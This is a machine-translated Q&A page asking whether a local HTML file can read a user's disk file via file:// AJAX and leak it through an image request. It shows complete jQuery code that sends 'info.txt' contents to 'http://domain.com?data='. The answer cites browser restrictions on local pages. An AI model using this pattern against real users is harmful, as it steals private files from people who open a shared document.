Dan*_*sky 11 html javascript security xmlhttprequest imagesource
我们来谈谈安全性.在我看来,理论上,如果用户用它打开html文件(从他的文件系统打开,而不是从网络打开),我可以用一些脚本从用户的文件系统获取信息.看看代码:
info.txt:
my info
Run Code Online (Sandbox Code Playgroud)
index.html的:
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
<script>
$(document).ready(function () {
$.get('file:///home/daz/desktop/info.txt', function (data) {
$('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
}, 'text');
});
</script>
</head>
<body></body>
</html>
Run Code Online (Sandbox Code Playgroud)
某些浏览器(Firefox,例如)允许您从获得的文件file://通过XmlHttpRequest,所以如果我猜的文件路径,然后我就可以得到它的通过Ajax内容.然后我可以通过查询字符串中的参数以dinamically方式添加img带有src我的域的标记.浏览器乖乖地提出请求GET ?data=my%20info%0A domain.com.在服务器端,我可以解析查询字符串并获取数据.
我是对的,我可以这样做吗?我是对的,如果他打开我的html文件,我可以从他的电脑中获取用户的数据吗?所以我可以说:"嘿,朋友,看看这个档案!" (有2个限制:用户应该使用firefox或类似配置的其他东西,我无法获取用户因访问权限无法访问的文件).
更新:
如果有可能,为什么有可能呢?他们为什么允许你做这些事情.为什么没有确认对话框或其他内容.
更新2:
如果有人对此问题进行审核,那将会很棒.提前致谢!
这比你想象的要少.各种浏览器对本地HTML文件可以执行的操作实施了不同的限制,如Chromium开发团队在本文中所述:
http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html
特别是:
(请注意,这篇文章是从2008年开始的;浏览器 - 特别是Chrome--从那时起可能发生了重大变化.)
| 归档时间: |
|
| 查看次数: |
1706 次 |
| 最近记录: |